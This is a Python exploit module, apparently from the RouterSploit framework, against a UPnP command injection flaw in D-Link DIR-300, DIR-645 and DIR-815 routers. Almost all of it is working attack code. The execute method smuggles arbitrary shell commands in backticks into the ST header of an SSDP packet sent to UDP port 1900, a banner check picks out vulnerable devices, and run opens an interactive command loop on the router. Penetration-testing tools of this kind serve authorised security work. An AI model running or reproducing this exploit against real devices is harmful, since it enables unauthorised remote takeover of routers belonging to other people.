import socket

from routersploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    mute,
    shell,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability.
    If the target is vulnerable, command loop is invoked that allows executing commands on the device.
    """
    __info__ = {
        'name': 'D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE',
        'description': 'Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.',
        'authors': [
            'Zachary Cutlip',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection',
            'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html',
            'https://www.exploit-db.com/exploits/34065/',
        ],
        'devices': [
            'D-Link DIR-300',
            'D-Link DIR-645',
            'D-Link DIR-815',
        ]
    }

    target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')

    def run(self):
        if self.check():
            print_success("Target seems to be vulnerable")
            print_status("Invoking command loop...")
            print_status("It is blind command injection, response is not available")
            shell(self, architecture="mipsle")
        else:
            print_error("Exploit failed - target seems to be not vulnerable")

    def execute(self, cmd):
        buf = ("M-SEARCH * HTTP/1.1\r\n"
               "Host:239.255.255.250:1900\r\n"
               "ST:uuid:`" + cmd + "`\r\n"
               "Man:\"ssdp:discover\"\r\n"
               "MX:2\r\n\r\n")

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(10)
            sock.connect((self.target, 1900))
            sock.send(buf)
            sock.close()
        except socket.error:
            pass

        return ""

    @mute
    def check(self):
        buf = ("M-SEARCH * HTTP/1.1\r\n"
               "Host:239.255.255.250:1900\r\n"
               "ST:upnp:rootdevice\r\n"
               "Man:\"ssdp:discover\"\r\n"
               "MX:2\r\n\r\n")

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(10)
            sock.connect((self.target, 1900))
            sock.send(buf)
            response = sock.recv(65535)
            sock.close()
        except Exception:
            return False  # target is not vulnerable

        if "Linux, UPnP/1.0, DIR-" in response:
            return True  # target is vulnerable

        return False  # target is not vulnerable
